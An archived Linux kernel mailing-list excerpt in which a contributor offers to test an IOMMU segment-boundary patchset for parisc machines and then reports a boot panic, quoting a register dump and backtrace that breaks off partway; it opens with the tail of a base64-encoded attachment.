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
HaIBAA==

--mP3DRpeJDSE+ciuQ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Mon,  3 Mar 2008 11:36:21 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <JX5HGL$BEF7E287D07253279B235998ACF88988@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1204540902 20993 80.91.229.12 (3 Mar 2008 10:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 10:41:42 +0000 (UTC)
Cc: "fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"tomof" <tomof@acm.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"akpm" <akpm@linux-foundation.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 11:42:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW87S-0002ed-9t
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 11:42:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755555AbYCCKld (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 05:41:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755259AbYCCKld
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 05:41:33 -0500
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:37860 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753290AbYCCKlc convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 05:41:32 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m23AaKUb029544;
	Mon, 3 Mar 2008 11:36:21 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:154 gmane.linux.kernel:648745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/154>

> On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> > This patchset is another sequel to my patchset to fix iommu segment
> > boundary problems, IOMMUs allocate memory areas without considering a
> > low level driver's segment boundary limits:
> > 
> > http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> > 
> 
> This looks fine. Are you able to test this? If not, we can set you up
> with an account on a machine with remote console and all that jazz, if
> you'd like to.
> 
> cheers, Kyle
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
Dear *,

I have access to 3 kind of boxes which needed one of those drivers: a b2k and
mainly a c110 and a d380 for which I hope a lot of this patch ;-)

I will so try the patch asap and let you know the results.

hth,
    r.

---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Mon,  3 Mar 2008 12:04:00 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <JX5IQO$1ADFF18D173371DE06D03C11EFEA34BA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1204542502 26648 80.91.229.12 (3 Mar 2008 11:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 11:08:22 +0000 (UTC)
Cc: "fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"tomof" <tomof@acm.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"akpm" <akpm@linux-foundation.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 12:08:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW8X9-0001jx-3z
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 12:08:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753304AbYCCLIF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 06:08:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754896AbYCCLIF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 06:08:05 -0500
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:36222 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753304AbYCCLID convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 06:08:03 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m23B40qj021962;
	Mon, 3 Mar 2008 12:04:01 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:155 gmane.linux.kernel:648754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/155>

> On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> > This patchset is another sequel to my patchset to fix iommu segment
> > boundary problems, IOMMUs allocate memory areas without considering a
> > low level driver's segment boundary limits:
> > 
> > http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> > 
> 
> This looks fine. Are you able to test this? If not, we can set you up
> with an account on a machine with remote console and all that jazz, if
> you'd like to.
> 
> cheers, Kyle
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
Sorry for bad news but using a kernel known to work fine on my b2k (kyle's
parisc-2.6.git date 2008_02_21) against which I applied those patches, this
new kernel 32bit up failled to boot with this panic message:

Linux Tulip driver version 1.1.15 (Feb 27, 2007)
------------[ cut here ]------------
Kernel BUG at 1029520c [verbose debug info unavailable]

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 1054c010 1029e774 80000000
r04-07  1fc2b020 00000100 00000000 00000001
r08-11  1fc1d454 1fc2c000 00000000 80000000
r12-15  00000001 00000001 1fc10858 0001a000
r16-19  00000011 104a23d0 00000000 ffffffff
r20-23  00001000 00000000 1fdb6a00 00000000
r24-27  00000000 00000001 00000100 10507010
r28-31  00000100 00100000 1fc205c0 00000000
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000
IASQ: 00000000 00000000 IAOQ: 1029520c 10295210
 IIR: 03ffe01f    ISR: 1024003f  IOR: 0802056c
 CPU:        0   CR30: 1fc20000 CR31: 11111111
 ORIG_R28: 0000000f
 IAOQ[0]: iommu_is_span_boundary+0x28/0x30
 IAOQ[1]: iommu_is_span_boundary+0x2c/0x30
 RP(r2): sba_alloc_range+0x23c/0x4f8
Backtrace:
 [<10107938>] show_regs+0x2c8/0x450
 [<10107c64>] die_if_kernel+0x98/0x1b0
